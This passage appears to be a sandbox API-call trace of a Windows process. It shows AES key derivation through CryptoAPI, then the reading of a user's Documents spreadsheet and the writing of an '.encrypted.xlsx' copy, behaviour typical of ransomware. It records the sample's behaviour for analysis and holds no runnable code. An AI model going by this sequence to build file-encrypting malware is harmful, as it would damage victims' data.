lpMsg=0xe8f3dfeaf0) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.920] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.920] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.921] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.921] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.921] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.921] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.921] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.922] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.922] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.922] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.922] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.922] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.922] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.922] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.922] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.922] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.923] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.923] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b9c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.923] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.923] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.923] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4061c30) returned 1 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.923] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.924] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.924] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.924] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.924] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0025.924] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.925] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.925] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.925] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.925] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.925] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\ybk9km-2tdyzmn.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.925] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.926] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.926] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.926] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0025.926] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.encrypted.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\ybk9km-2tdyzmn.encrypted.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.926] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.926] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.926] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.926] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.928] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.928] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x81b9, lpOverlapped=0x0) returned 1 [0025.929] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.931] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.932] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.932] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.932] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.932] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.932] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.932] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.932] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.933] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.933] CryptGetKeyParam (in: hKey=0xe8f4061c30, dwParam=0x7, pbData=0xe8f4064d60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.933] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.933] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.933] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.934] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.934] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.934] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 